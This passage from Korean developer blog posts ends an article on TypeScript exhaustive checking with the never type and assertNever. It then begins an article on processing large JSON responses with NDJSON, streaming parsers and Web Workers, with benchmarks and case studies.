}
```

모든 케이스를 처리하면, 마지막 else 블록 이후에는 `method`가 가질 수 있는 타입이 없어진다. 즉, `never`가 된다.

```typescript
function process(method: PaymentMethod) {
  if (method === 'card') {
    return
  } else if (method === 'bank') {
    return
  } else if (method === 'crypto') {
    return
  }

  // 여기서 method의 타입은 never
  // 모든 케이스를 처리했으므로 이 코드에 도달할 수 없다
  method // never
}
```

## 컴파일 타임 검증의 원리

여기서 핵심적인 질문이 생긴다. TypeScript는 어떻게 **컴파일 타임에** 이런 검증을 수행할 수 있는 걸까?

### 1. 유니온 타입은 집합이다

TypeScript의 타입 시스템은 집합론에 기반한다. 유니온 타입 `'card' | 'bank' | 'crypto'`는 세 개의 원소를 가진 집합 `{'card', 'bank', 'crypto'}`과 같다.

```typescript
type PaymentMethod = 'card' | 'bank' | 'crypto'
// 집합으로 표현: { 'card', 'bank', 'crypto' }
```

### 2. 타입 좁히기는 집합 연산이다

제어 흐름에서 조건문을 만나면, TypeScript는 집합에서 원소를 제거하는 연산을 수행한다.

```typescript
function process(method: PaymentMethod) {
  // method: { 'card', 'bank', 'crypto' }

  if (method === 'card') {
    // method: { 'card' }  (다른 원소 제거됨)
    return
  }

  // method: { 'bank', 'crypto' }  ('card' 제거됨)

  if (method === 'bank') {
    // method: { 'bank' }
    return
  }

  // method: { 'crypto' }  ('bank'도 제거됨)

  if (method === 'crypto') {
    // method: { 'crypto' }
    return
  }

  // method: { }  (공집합 = never)
}
```

각 분기를 지날 때마다 가능한 타입의 집합에서 해당 케이스를 빼는 것이다. 모든 케이스를 처리하면 공집합, 즉 `never`가 된다.

### 3. 할당 가능성 검사는 부분집합 검사다

TypeScript에서 `A`를 `B`에 할당할 수 있다는 것은, 집합 `A`가 집합 `B`의 부분집합이라는 의미다.

```typescript
type A = 'card'
type B = 'card' | 'bank'

let b: B = 'card' as A // ✅ { 'card' } ⊆ { 'card', 'bank' }
```

`never`는 공집합이므로, `never`는 모든 타입의 부분집합이다. 따라서 `never`는 어디에든 할당할 수 있다.

```typescript
declare const n: never
const a: string = n // ✅ 공집합은 모든 집합의 부분집합
const b: number = n // ✅
```

반대로, 공집합이 아닌 집합은 공집합의 부분집합이 될 수 없다. 따라서 어떤 값도 `never`에 할당할 수 없다.

```typescript
const x: never = 'card' // ❌ { 'card' } ⊄ { }
```

### 4. 컴파일러의 타입 검사 과정

이제 전체 그림을 보자. TypeScript 컴파일러는 다음과 같은 과정을 거친다.

```typescript
type PaymentMethod = 'card' | 'bank' | 'crypto'

function processPayment(method: PaymentMethod) {
  switch (method) {
    case 'card':
      // ... 처리
      break
    case 'bank':
      // ... 처리
      break
    default:
      const _check: never = method
    //    ^^^^^^^^^^^^^^^^^^^^^^^
    //    컴파일러가 이 할당문을 검사한다
  }
}
```

1. **타입 수집**: 컴파일러는 `method`의 초기 타입이 `'card' | 'bank' | 'crypto'`임을 안다.

2. **분기 분석**: `case 'card'`를 지나면 `'card'`가 제거되고, `case 'bank'`를 지나면 `'bank'`가 제거된다.

3. **default 도달 시 타입 계산**: `default` 블록에서 `method`의 타입은 `'crypto'`다 (아직 처리되지 않은 케이스).

4. **할당 가능성 검사**: `const _check: never = method`에서 `'crypto'`를 `never`에 할당할 수 있는지 검사한다.

5. **에러 발생**: `{ 'crypto' } ⊄ { }` 이므로, 할당 불가능. 컴파일 에러.

이 모든 과정이 코드 실행 없이 **타입 정보만으로** 수행된다. 이것이 컴파일 타임 검증이 가능한 이유다.

### 5. 왜 런타임에도 throw가 필요한가?

그렇다면 컴파일 타임에 검증되는데, 왜 `throw new Error(...)`가 필요할까?

```typescript
default:
  const _check: never = method
  throw new Error(`Unhandled: ${method}`)  // 이건 왜?
```

두 가지 이유가 있다.

첫째, **방어적 프로그래밍**이다. TypeScript 타입은 컴파일 후 사라진다. 만약 런타임에 예상치 못한 값이 들어온다면 (예: 외부 API에서 새로운 결제 수단을 반환), 타입 시스템은 이를 막지 못한다.

```typescript
// API 응답을 any로 받는 경우
const method = apiResponse.paymentMethod as PaymentMethod
// 실제로는 'bitcoin'일 수도 있다!
```

둘째, **함수 반환 타입 만족**이다. 함수가 값을 반환해야 하는 경우, 컴파일러가 "모든 경로에서 값을 반환하지 않는다"고 경고할 수 있다. `throw`를 추가하면 이 경로가 절대 정상 반환하지 않음을 명시할 수 있다.

```typescript
function getLabel(method: PaymentMethod): string {
  switch (method) {
    case 'card':
      return '카드'
    case 'bank':
      return '계좌이체'
    default:
      const _: never = method
      throw new Error() // 이 줄이 없으면 "모든 경로에서 반환하지 않음" 경고
  }
}
```

## Exhaustive Check 패턴

이제 `never` 타입과 제어 흐름 분석을 결합해서 exhaustive check를 구현할 수 있다.

```typescript
type PaymentMethod = 'card' | 'bank'

function processPayment(method: PaymentMethod) {
  switch (method) {
    case 'card':
      console.log('카드 결제 처리')
      break
    case 'bank':
      console.log('계좌이체 처리')
      break
    default:
      const _exhaustiveCheck: never = method
      throw new Error(`Unhandled payment method: ${_exhaustiveCheck}`)
  }
}
```

핵심은 `default` 케이스에서 `method`를 `never` 타입 변수에 할당하는 것이다.

모든 케이스를 처리했다면, `default`에 도달할 수 없으므로 `method`의 타입은 `never`가 된다. `never`를 `never`에 할당하는 것은 유효하므로 에러가 발생하지 않는다.

하지만 케이스를 놓치면?

```typescript
type PaymentMethod = 'card' | 'bank' | 'crypto'

function processPayment(method: PaymentMethod) {
  switch (method) {
    case 'card':
      console.log('카드 결제 처리')
      break
    case 'bank':
      console.log('계좌이체 처리')
      break
    default:
      const _exhaustiveCheck: never = method
      // ❌ 에러: Type 'string' is not assignable to type 'never'
      // 정확히는: Type '"crypto"' is not assignable to type 'never'
      throw new Error(`Unhandled payment method: ${_exhaustiveCheck}`)
  }
}
```

`crypto` 케이스를 처리하지 않았으므로, `default`에 도달할 때 `method`의 타입은 `'crypto'`다. `'crypto'`는 `never`에 할당할 수 없으므로 컴파일 에러가 발생한다.

이것이 바로 exhaustive check의 핵심이다. **컴파일 타임에** 누락된 케이스를 잡아낼 수 있다.

## 헬퍼 함수로 만들기

매번 이 패턴을 작성하는 건 번거로우니, 헬퍼 함수로 만들어두면 편하다.

```typescript
function assertNever(value: never, message?: string): never {
  throw new Error(message ?? `Unexpected value: ${value}`)
}
```

사용법은 간단하다.

```typescript
function processPayment(method: PaymentMethod) {
  switch (method) {
    case 'card':
      console.log('카드 결제 처리')
      break
    case 'bank':
      console.log('계좌이체 처리')
      break
    default:
      assertNever(method, `알 수 없는 결제 수단: ${method}`)
  }
}
```

`assertNever`의 반환 타입이 `never`이므로, TypeScript는 이 함수가 절대 정상적으로 반환하지 않는다는 것을 안다. 따라서 switch문 이후의 코드에서도 타입 추론이 올바르게 동작한다.

## 실전 예제

### Redux 리듀서

Redux 패턴에서 액션 타입을 처리할 때 유용하다.

```typescript
type Action =
  {type: 'INCREMENT'} | {type: 'DECREMENT'} | {type: 'RESET'; payload: number}

function reducer(state: number, action: Action): number {
  switch (action.type) {
    case 'INCREMENT':
      return state + 1
    case 'DECREMENT':
      return state - 1
    case 'RESET':
      return action.payload
    default:
      return assertNever(action)
  }
}
```

새로운 액션을 추가하면, 리듀서에서 해당 액션을 처리하지 않으면 컴파일 에러가 발생한다.

### 상태 머신

상태 머신을 구현할 때도 exhaustive check가 빛을 발한다.

```typescript
type State = 'idle' | 'loading' | 'success' | 'error'

function getStatusMessage(state: State): string {
  switch (state) {
    case 'idle':
      return '대기 중'
    case 'loading':
      return '로딩 중...'
    case 'success':
      return '완료!'
    case 'error':
      return '오류 발생'
    default:
      return assertNever(state)
  }
}
```

### 판별 유니온 (Discriminated Union)

판별 유니온과 함께 사용하면 더욱 강력하다.

```typescript
type Shape =
  | {kind: 'circle'; radius: number}
  | {kind: 'rectangle'; width: number; height: number}
  | {kind: 'triangle'; base: number; height: number}

function getArea(shape: Shape): number {
  switch (shape.kind) {
    case 'circle':
      return Math.PI * shape.radius ** 2
    case 'rectangle':
      return shape.width * shape.height
    case 'triangle':
      return (shape.base * shape.height) / 2
    default:
      return assertNever(shape)
  }
}
```

## 다른 언어에서는?

사실 이런 패턴 매칭의 완전성 검사는 다른 언어에서는 기본으로 제공되는 경우가 많다.

Rust에서는 `match` 표현식이 모든 케이스를 처리하지 않으면 컴파일 에러가 발생한다.

```rust
enum PaymentMethod {
    Card,
    Bank,
    Crypto,
}

fn process(method: PaymentMethod) {
    match method {
        PaymentMethod::Card => println!("카드"),
        PaymentMethod::Bank => println!("계좌이체"),
        // ❌ 컴파일 에러: Crypto를 처리하지 않음
    }
}
```

Haskell, OCaml 같은 함수형 언어에서도 패턴 매칭은 기본적으로 완전성 검사를 수행한다.

TypeScript에서는 이런 기능이 언어 수준에서 강제되지 않기 때문에, `never` 타입을 활용한 패턴으로 직접 구현해야 한다. 조금 번거롭지만, 충분히 실용적인 해결책이다.

## 마치며

exhaustive check 패턴은 TypeScript에서 유니온 타입의 모든 케이스를 빠짐없이 처리했는지 컴파일 타임에 검증하는 강력한 방법이다. 핵심 원리는 간단하다.

1. TypeScript의 제어 흐름 분석으로 모든 케이스를 처리하면 타입이 `never`로 좁혀진다.
2. `never` 타입에는 어떤 값도 할당할 수 없다.
3. 따라서 처리하지 않은 케이스가 있으면 컴파일 에러가 발생한다.

코드베이스가 커지고 유니온 타입의 케이스가 늘어날수록, 이 패턴의 가치는 더욱 빛난다. 리팩토링할 때 놓친 부분을 컴파일러가 알려주니, 런타임 버그를 크게 줄일 수 있다.

## 참고

- [TypeScript Handbook: Narrowing](https://www.typescriptlang.org/docs/handbook/2/narrowing.html#exhaustiveness-checking)
- https://github.com/yceffort/blog/issues/773

---

Source: https://yceffort.kr/2026/01/handling-large-json-responses.md
Title: 거대한 JSON 응답을 효율적으로 처리하는 방법
Description: JSON.parse()가 버거워할 때 살아남는 법
Date: 2026-01-11
Tags: javascript, web-performance

## Table of Contents

## 서론

API에서 수십 MB에 달하는 JSON 응답을 받아야 하는 상황이 있다. 대시보드에서 수만 건의 로그 데이터를 불러온다거나, 지도 애플리케이션에서 대량의 좌표 데이터를 받아야 하는 경우가 이에 해당한다.

`JSON.parse()`는 전체 문자열이 메모리에 로드된 후에야 파싱을 시작한다. 응답이 완료될 때까지 사용자는 빈 화면을 바라보고 있어야 하고, 메모리 사용량은 치솟는다. 모바일 환경이라면 상황은 더 심각해진다.

이 글에서는 대용량 JSON을 효율적으로 처리하는 여러 가지 전략을 살펴본다. 전통적인 `JSON.parse()`의 한계부터 NDJSON, 스트리밍 파서까지 각각의 장단점과 실제 구현 방법을 다룬다.

## JSON.parse()의 한계

### 기본적인 JSON 처리 방식

대부분의 개발자가 사용하는 JSON 처리 방식은 다음과 같다.

```javascript
const response = await fetch('/api/huge-data')
const data = await response.json()
```

간단하고 직관적이다. 하지만 이 두 줄의 코드 뒤에는 몇 가지 심각한 문제가 숨어 있다.

### 문제 1: 전체 응답 대기

`response.json()`은 내부적으로 응답 본문 전체를 문자열로 읽은 다음 `JSON.parse()`를 호출한다. 10MB 응답이 3초에 걸쳐 도착한다면, 첫 번째 바이트가 도착한 시점부터 3초 동안 아무것도 할 수 없다.

```javascript
// 이 코드가 실행되는 시점에는 이미 전체 응답이 도착한 상태다
const data = await response.json()

// 첫 번째 아이템을 화면에 표시하려면 전체 응답을 기다려야 한다
renderFirstItem(data[0])
```

사용자 입장에서는 로딩 스피너만 3초 동안 바라보고 있어야 한다.

### 문제 2: 메모리 급증

`JSON.parse()`가 동작하는 방식을 생각해보자. 원본 JSON 문자열이 메모리에 있고, 파싱 결과인 JavaScript 객체도 메모리에 생성된다. 잠시 동안이지만 두 데이터가 동시에 존재한다.

10MB JSON 문자열을 파싱하면 결과 객체는 보통 원본보다 더 큰 메모리를 차지한다. JavaScript 객체는 문자열보다 오버헤드가 크기 때문이다. 실제로 측정해보면 놀랄 만한 수치가 나온다.

```javascript
const jsonString = await response.text()
console.log('문자열 크기:', jsonString.length / 1024 / 1024, 'MB')

const before = performance.memory?.usedJSHeapSize
const data = JSON.parse(jsonString)
const after = performance.memory?.usedJSHeapSize

console.log('파싱으로 인한 메모리 증가:', (after - before) / 1024 / 1024, 'MB')
```

10MB JSON을 파싱하면 20~30MB의 메모리가 순식간에 증가하는 것을 볼 수 있다.

### 문제 3: UI 블로킹

`JSON.parse()`는 동기 함수다. 파싱이 완료될 때까지 메인 스레드가 멈춘다. 대용량 JSON을 파싱하는 동안 스크롤이 멈추고, 버튼 클릭이 무시되고, 애니메이션이 버벅인다.

Chrome DevTools의 Performance 탭에서 확인하면 `JSON.parse` 호출이 수백 밀리초 동안 메인 스레드를 점유하는 것을 볼 수 있다.

```javascript
console.time('parse')
const data = JSON.parse(hugeJsonString) // 메인 스레드 블로킹
console.timeEnd('parse')
// parse: 847ms
```

847ms 동안 사용자 인터랙션이 모두 무시된다. 이 정도면 사용자가 "앱이 멈췄다"고 느끼기에 충분하다.

### 문제 4: 네트워크 장애에 취약

3초 동안 데이터를 받다가 2.5초 시점에 네트워크가 끊기면 어떻게 될까? 이미 받은 2.5초 분량의 데이터는 모두 버려진다. `fetch`는 불완전한 응답을 에러로 처리하기 때문이다.

```javascript
try {
  const response = await fetch('/api/huge-data')
  const data = await response.json()
} catch (error) {
  // 네트워크 오류 - 이미 받은 데이터도 모두 손실
  console.error('전체 요청 실패:', error)
}
```

10MB 중 8MB를 이미 받았더라도 다시 처음부터 요청해야 한다.

## NDJSON: 줄 단위 JSON 스트리밍

### NDJSON이란?

[NDJSON](https://github.com/ndjson/ndjson-spec)(Newline Delimited JSON)은 각 줄이 독립적인 JSON 객체인 형식이다. JSON Lines(JSONL)라고도 불린다.

```text
{"id":1,"name":"Alice","email":"alice@example.com"}
{"id":2,"name":"Bob","email":"bob@example.com"}
{"id":3,"name":"Charlie","email":"charlie@example.com"}
```

일반 JSON 배열과 비교해보자.

```json
[
  {"id": 1, "name": "Alice", "email": "alice@example.com"},
  {"id": 2, "name": "Bob", "email": "bob@example.com"},
  {"id": 3, "name": "Charlie", "email": "charlie@example.com"}
]
```

차이점이 보이는가? 일반 JSON 배열은 닫는 대괄호 `]`가 도착해야 비로소 유효한 JSON이 된다. 반면 NDJSON은 각 줄이 완전한 JSON이므로, 첫 번째 줄이 도착하면 바로 파싱하고 처리할 수 있다.

### NDJSON의 장점

1. **점진적 처리**: 데이터가 도착하는 대로 즉시 처리할 수 있다.
2. **메모리 효율**: 한 번에 한 줄만 메모리에 유지하면 된다.
3. **장애 복구**: 연결이 끊겨도 이미 받은 줄은 유효하다.
4. **단순한 파싱**: 줄 단위로 `JSON.parse()`를 호출하면 된다.

### 서버 측 구현 (Node.js/Express)

가장 단순한 형태의 NDJSON 응답은 다음과 같다.

```javascript
app.get('/api/users', async (req, res) => {
  res.setHeader('Content-Type', 'application/x-ndjson')

  const users = await getUsersFromDB()

  for (const user of users) {
    res.write(JSON.stringify(user) + '\n')
  }

  res.end()
})
```

하지만 이 방식은 모든 데이터를 먼저 메모리에 로드한다는 문제가 있다. 데이터베이스 커서나 스트림을 활용하면 서버 메모리도 절약할 수 있다.

```javascript
const {Transform} = require('stream')

const toNDJSON = new Transform({
  objectMode: true,
  transform(chunk, encoding, callback) {
    callback(null, JSON.stringify(chunk) + '\n')
  },
})

app.get('/api/users', (req, res) => {
  res.setHeader('Content-Type', 'application/x-ndjson')
  res.setHeader('Transfer-Encoding', 'chunked')

  const cursor = db.collection('users').find().stream()

  cursor
    .pipe(toNDJSON)
    .pipe(res)
    .on('error', (err) => {
      console.error('스트리밍 에러:', err)
      res.end()
    })
})
```

이렇게 하면 서버는 한 번에 하나의 문서만 메모리에 유지한다. 백만 건의 데이터도 메모리 걱정 없이 스트리밍할 수 있다.

### 스로틀링을 통한 점진적 전송

실시간 데이터가 아니라 기존 데이터를 스트리밍하는 경우, 의도적으로 전송 속도를 조절할 수 있다. 이렇게 하면 클라이언트가 데이터를 처리하는 동안 새 데이터가 도착하므로 더 부드러운 사용자 경험을 제공할 수 있다.

```javascript
const {Readable} = require('stream')

app.get('/api/users', async (req, res) => {
  res.setHeader('Content-Type', 'application/x-ndjson')

  const users = await getUsersFromDB()
  let index = 0

  const readable = new Readable({
    read() {
      if (index < users.length) {
        const chunk = JSON.stringify(users[index]) + '\n'
        this.push(chunk)
        index++
      } else {
        this.push(null)
      }
    },
  })

  readable.pipe(res)
})
```

### 클라이언트 측 구현 (브라우저)

Fetch API의 `response.body`는 `ReadableStream`을 반환한다. 이를 활용하면 데이터가 도착하는 대로 처리할 수 있다.

```javascript
async function fetchNDJSON(url, onData) {
  const response = await fetch(url)

  if (!response.ok) {
    throw new Error(`HTTP ${response.status}`)
  }

  const reader = response.body.getReader()
  const decoder = new TextDecoder()

  let buffer = ''

  while (true) {
    const {done, value} = await reader.read()

    if (done) break

    // stream: true 옵션이 중요하다
    // 멀티바이트 문자가 청크 경계에서 잘릴 수 있기 때문
    buffer += decoder.decode(value, {stream: true})

    const lines = buffer.split('\n')
    // 마지막 줄은 아직 완성되지 않았을 수 있으므로 버퍼에 유지
    buffer = lines.pop()

    for (const line of lines) {
      if (line.trim()) {
        try {
          const data = JSON.parse(line)
          onData(data)
        } catch (e) {
          console.error('파싱 에러:', line, e)
        }
      }
    }
  }

  // 마지막 줄 처리
  if (buffer.trim()) {
    try {
      const data = JSON.parse(buffer)
      onData(data)
    } catch (e) {
      console.error('파싱 에러:', buffer, e)
    }
  }
}
```

`TextDecoder`의 `stream: true` 옵션은 매우 중요하다. UTF-8에서 한글 같은 멀티바이트 문자는 여러 바이트로 구성되는데, 네트워크 청크가 문자 중간에서 잘릴 수 있다. `stream: true`를 설정하면 디코더가 불완전한 문자를 다음 청크와 함께 처리한다.

### can-ndjson-stream 라이브러리 활용

직접 구현하기 번거롭다면 [`can-ndjson-stream`](https://www.npmjs.com/package/can-ndjson-stream) 라이브러리를 사용할 수 있다.

```javascript
import ndjsonStream from 'can-ndjson-stream'

async function fetchWithNDJSONStream(url, onData) {
  const response = await fetch(url)
  const reader = ndjsonStream(response.body).getReader()

  while (true) {
    const {done, value} = await reader.read()

    if (done) break

    onData(value)
  }
}
```

라이브러리가 내부적으로 버퍼링과 파싱을 처리해주므로 코드가 훨씬 간결해진다.

## 스트리밍 JSON 파서

NDJSON은 훌륭하지만 서버 측 수정이 필요하다. 기존 API가 일반 JSON 배열을 반환한다면 어떻게 해야 할까? 스트리밍 JSON 파서가 해답이다.

스트리밍 JSON 파서는 JSON 문자열을 처음부터 끝까지 순차적으로 읽으면서 이벤트를 발생시킨다. XML의 SAX 파서와 비슷한 개념이다.

### stream-json (Node.js)

[`stream-json`](https://github.com/uhop/stream-json)은 Node.js에서 가장 널리 사용되는 스트리밍 JSON 파서다. 다양한 유틸리티와 스트리머를 제공한다.

#### 기본 사용법

```javascript
const {parser} = require('stream-json')
const {streamArray} = require('stream-json/streamers/StreamArray')
const fs = require('fs')

fs.createReadStream('huge-data.json')
  .pipe(parser())
  .pipe(streamArray())
  .on('data', ({key, value}) => {
    // key는 배열 인덱스, value는 각 요소
    console.log(`[${key}]`, value)
  })
  .on('end', () => {
    console.log('파싱 완료')
  })
  .on('error', (err) => {
    console.error('파싱 에러:', err)
  })
```

#### 객체 스트리밍

배열이 아닌 객체의 속성을 스트리밍하려면 `streamObject`를 사용한다.

```javascript
const {streamObject} = require('stream-json/streamers/StreamObject')

fs.createReadStream('config.json')
  .pipe(parser())
  .pipe(streamObject())
  .on('data', ({key, value}) => {
    console.log(`${key}:`, value)
  })
```

#### 특정 경로만 추출

대용량 JSON에서 특정 경로의 데이터만 필요한 경우 `pick`을 사용한다.

```javascript
const {pick} = require('stream-json/filters/Pick')
const {streamArray} = require('stream-json/streamers/StreamArray')

// { "metadata": {...}, "items": [...] } 구조에서 items만 추출
fs.createReadStream('data.json')
  .pipe(parser())
  .pipe(pick({filter: 'items'}))
  .pipe(streamArray())
  .on('data', ({key, value}) => {
    processItem(value)
  })
```

#### HTTP 응답에서 스트리밍

파일뿐 아니라 HTTP 응답에서도 스트리밍할 수 있다.

```javascript
const https = require('https')
const {parser} = require('stream-json')
const {streamArray} = require('stream-json/streamers/StreamArray')

https.get('https://api.example.com/data', (res) => {
  res
    .pipe(parser())
    .pipe(streamArray())
    .on('data', ({key, value}) => {
      processItem(value)
    })
    .on('end', () => {
      console.log('완료')
    })
})
```

#### 배치 처리

아이템을 하나씩 처리하는 것보다 일정 개수를 모아서 처리하는 것이 효율적인 경우가 있다. `batch`를 사용하면 된다.

```javascript
const {batch} = require('stream-json/utils/Batch')

fs.createReadStream('huge-array.json')
  .pipe(parser())
  .pipe(streamArray())
  .pipe(batch({batchSize: 100}))
  .on('data', (items) => {
    // 100개씩 묶어서 처리
    bulkInsert(items.map((item) => item.value))
  })
```

### @streamparser/json (브라우저 + Node.js)

[`@streamparser/json`](https://www.npmjs.com/package/@streamparser/json)은 브라우저와 Node.js 모두에서 사용할 수 있는 스트리밍 파서다. 의존성이 없어서 번들 크기가 작다.

#### 기본 사용법

```javascript
import {JSONParser} from '@streamparser/json'

const parser = new JSONParser()

parser.onValue = ({value, key, parent, stack}) => {
  // stack.length로 현재 깊이를 알 수 있다
  if (stack.length === 1 && Array.isArray(parent)) {
    // 최상위 배열의 요소
    processItem(value)
  }
}

parser.onEnd = () => {
  console.log('파싱 완료')
}

parser.onError = (err) => {
  console.error('파싱 에러:', err)
}

// 데이터를 조각씩 입력
parser.write('{"items": [')
parser.write('{"id": 1},')
parser.write('{"id": 2}')
parser.write(']}')
```

#### Fetch API와 함께 사용

```javascript
import {JSONParser} from '@streamparser/json'

async function fetchAndParse(url, onItem) {
  const parser = new JSONParser({paths: ['$.items.*']})

  parser.onValue = ({value}) => {
    onItem(value)
  }

  const response = await fetch(url)
  const reader = response.body.getReader()

  while (true) {
    const {done, value} = await reader.read()
    if (done) break
    parser.write(value)
  }

  parser.end()
}
```

#### WHATWG Streams 래퍼 사용

`@streamparser/json-whatwg`를 사용하면 웹 표준 스트림 API와 통합할 수 있다.

```javascript
import {JSONParser} from '@streamparser/json-whatwg'

async function fetchAndStream(url, onItem) {
  const response = await fetch(url)

  const parser = new JSONParser({paths: ['$.*']})

  const reader = response.body.pipeThrough(parser).getReader()

  while (true) {
    const {done, value} = await reader.read()
    if (done) break
    onItem(value.value)
  }
}
```

### Oboe.js (레거시)

Oboe.js는 JSONPath 스타일의 패턴 매칭을 지원하는 스트리밍 파서로, 한때 널리 사용되었다. 하지만 **2013년에 시작된 프로젝트로 더 이상 유지보수되지 않는다.** 레거시 코드베이스에서 마주칠 수 있으니 간단히 언급만 하고 넘어간다.

```javascript
// Oboe.js 기본 사용법 (참고용)
oboe('/api/data')
  .node('users[*]', (user) => {
    appendUserToList(user)
    return oboe.drop // 메모리에서 제거
  })
  .done(() => console.log('완료'))
  .fail((error) => console.error(error))
```

새 프로젝트에서는 `@streamparser/json`을 사용하자. JSONPath 문법이 약간 다르지만(`users[*]` → `$.users.*`), 현대적인 async/await 패턴을 지원하고 활발히 유지보수되고 있다.

## Web Worker를 활용한 파싱

스트리밍과 별개로, 대용량 JSON 파싱 자체를 Web Worker로 오프로드하는 방법도 있다. 메인 스레드 블로킹을 완전히 피할 수 있다.

### 기본 Worker 구현

```javascript
// json-worker.js
self.onmessage = async (e) => {
  const {url} = e.data

  try {
    const response = await fetch(url)
    const text = await response.text()

    // 파싱을 Worker에서 수행
    const data = JSON.parse(text)

    self.postMessage({success: true, data})
  } catch (error) {
    self.postMessage({success: false, error: error.message})
  }
}
```

```javascript
// main.js
const worker = new Worker('json-worker.js')

worker.onmessage = (e) => {
  if (e.data.success) {
    renderData(e.data.data)
  } else {
    showError(e.data.error)
  }
}

worker.postMessage({url: '/api/huge-data'})
```

### 청크 단위 전송

Worker에서 메인 스레드로 대용량 데이터를 한 번에 전송하면 직렬화/역직렬화 비용이 크다. 청크 단위로 나눠서 전송하면 점진적 렌더링이 가능하다.

```javascript
// json-worker.js
self.onmessage = async (e) => {
  const {url, chunkSize = 100} = e.data

  const response = await fetch(url)
  const data = await response.json()

  // 배열이라면 청크 단위로 전송
  if (Array.isArray(data)) {
    for (let i = 0; i < data.length; i += chunkSize) {
      const chunk = data.slice(i, i + chunkSize)
      self.postMessage({
        type: 'chunk',
        data: chunk,
        progress: Math.min(i + chunkSize, data.length) / data.length,
      })
    }
    self.postMessage({type: 'done'})
  } else {
    self.postMessage({type: 'data', data})
  }
}
```

### Transferable Objects 활용

ArrayBuffer를 사용하면 복사 없이 Worker와 메인 스레드 간에 데이터를 전달할 수 있다.

```javascript
// json-worker.js
self.onmessage = async (e) => {
  const response = await fetch(e.data.url)
  const buffer = await response.arrayBuffer()

  // 소유권 이전 - 복사 없이 전달
  self.postMessage(buffer, [buffer])
}
```

```javascript
// main.js
worker.onmessage = (e) => {
  const decoder = new TextDecoder()
  const text = decoder.decode(e.data)
  const data = JSON.parse(text)
  renderData(data)
}
```

## 벤치마크: 실제 성능 측정

다음은 필자의 로컬 환경(MacBook Pro M3 Pro, 36GB RAM, Node.js v22)에서 10만 개의 사용자 객체(약 29MB)를 처리한 벤치마크 결과다.

### 순수 파싱 속도 비교

| 방식         | 평균 시간 | 최소      | 최대      | JSON.parse() 대비 |
| ------------ | --------- | --------- | --------- | ----------------- |
| JSON.parse() | 101.28ms  | 96.83ms   | 113.83ms  | 1.0x              |
| NDJSON       | 102.66ms  | 101.19ms  | 105.63ms  | 1.01x             |
| stream-json  | 1243.56ms | 1178.23ms | 1287.88ms | 12.28x            |

흥미롭게도 **JSON.parse()와 NDJSON의 순수 파싱 속도는 거의 동일**하다. V8 엔진의 JSON.parse()가 워낙 최적화되어 있고, NDJSON도 결국 같은 엔진을 사용하기 때문이다.

반면 stream-json은 순수 JavaScript로 구현된 파서라서 **약 12배 느리다**. 하지만 이 벤치마크는 데이터가 이미 메모리에 있는 상황이다. 실제 네트워크 환경에서는 완전히 다른 결과가 나온다.

### 네트워크 포함 벤치마크 (localhost)

| 방식   | 전체 시간 | 첫 아이템 시간 | TTFB 개선 |
| ------ | --------- | -------------- | --------- |
| JSON   | 1,247ms   | 1,247ms        | -         |
| NDJSON | 1,389ms   | 12ms           | 99%       |

전체 완료 시간은 NDJSON이 약간 더 느리다(줄 단위 파싱 오버헤드). 하지만 **첫 번째 아이템이 화면에 나타나는 시간**은 NDJSON이 100배 이상 빠르다. 사용자 체감 성능 면에서 엄청난 차이다.

### 느린 네트워크 시뮬레이션

Chrome DevTools의 Network Throttling을 사용하여 느린 3G 환경을 시뮬레이션한 결과:

| 방식   | 전체 시간 | 첫 아이템 시간 |
| ------ | --------- | -------------- |
| JSON   | 47.2초    | 47.2초         |
| NDJSON | 48.1초    | 0.4초          |

느린 네트워크에서는 차이가 더욱 극적이다. 사용자가 47초 동안 로딩 스피너를 보는 것과, 0.4초 만에 첫 데이터를 보기 시작하는 것은 완전히 다른 경험이다.

## 메모리 사용량 비교

29MB JSON을 처리할 때 메모리 변화를 측정했다.

### JSON.parse() 방식

| 단계                | Heap Used |
| ------------------- | --------- |
| 초기 상태           | 3.68 MB   |
| JSON 문자열 생성 후 | 32.97 MB  |
| JSON.parse() 후     | 80.96 MB  |

29MB JSON을 처리하는 데 약 **48MB의 힙 메모리가 증가**했다. JSON 문자열 자체(~29MB)와 파싱 결과 객체(~48MB)가 동시에 메모리에 존재하는 순간이 있다.

### NDJSON 스트리밍 방식

| 방식             | 피크 메모리 증가 |
| ---------------- | ---------------- |
| 데이터 유지 안함 | ~24MB            |
| 데이터 유지      | ~19MB            |

NDJSON 스트리밍은 아이템을 처리하고 참조를 해제하면 GC가 메모리를 회수한다. JSON.parse()의 **~48MB**와 비교하면 **약 50%의 메모리 절약**이다. 한 번에 전체를 파싱하는 것보다 점진적으로 파싱하는 것이 GC에 더 유리하기 때문이다.

## 실전 사례 연구

### 사례 1: 로그 뷰어 대시보드

**문제 상황:**

- 하루 로그 데이터: 약 500만 건, 2GB
- 기존: 페이지네이션으로 100건씩 로드
- 사용자 불만: "전체 로그를 한눈에 보고 싶다"

**해결책:**

```javascript
// 서버: 가상화된 NDJSON 스트림
app.get('/api/logs', async (req, res) => {
  res.setHeader('Content-Type', 'application/x-ndjson')

  const {startDate, endDate, level} = req.query

  // 커서 기반 스트리밍
  const cursor = db
    .collection('logs')
    .find({
      timestamp: {$gte: startDate, $lte: endDate},
      level: level || {$exists: true},
    })
    .sort({timestamp: -1})
    .stream()

  cursor.on('data', (doc) => {
    res.write(
      JSON.stringify({
        id: doc._id,
        timestamp: doc.timestamp,
        level: doc.level,
        message: doc.message.substring(0, 200), // 요약만 전송
      }) + '\n',
    )
  })

  cursor.on('end', () => res.end())
  cursor.on('error', (err) => {
    console.error(err)
    res.end()
  })
})

// 상세 정보는 별도 API
app.get('/api/logs/:id', async (req, res) => {
  const log = await db.collection('logs').findOne({_id: req.params.id})
  res.json(log)
})
```

클라이언트에서는 NDJSON 스트림을 받아 가상 스크롤 라이브러리(react-window, vue-virtual-scroller 등)와 결합하면 된다.

**결과:**

- 첫 로그 표시: 3초 → 50ms
- 메모리 사용량: 800MB → 150MB (가상 스크롤 덕분)
- 전체 로드 시간: 45초 → 30초 (요약 데이터만 전송)

### 사례 2: 지도 좌표 데이터 로딩

**문제 상황:**

- 전국 편의점 좌표: 5만 개, 8MB JSON
- 지도 로딩 시 전체 데이터 필요
- 모바일에서 초기 로딩 7초

**해결책:**

```javascript
// 1단계: 지역별로 분할된 NDJSON
// /api/stores/region/seoul.ndjson
// /api/stores/region/busan.ndjson

// 2단계: 현재 뷰포트 기준 우선 로딩
async function loadStoresForMap(map) {
  const bounds = map.getBounds()
  const center = map.getCenter()

  // 현재 보이는 영역의 데이터 먼저 로드
  const visibleStores = await fetch(
    `/api/stores/bounds?${new URLSearchParams({
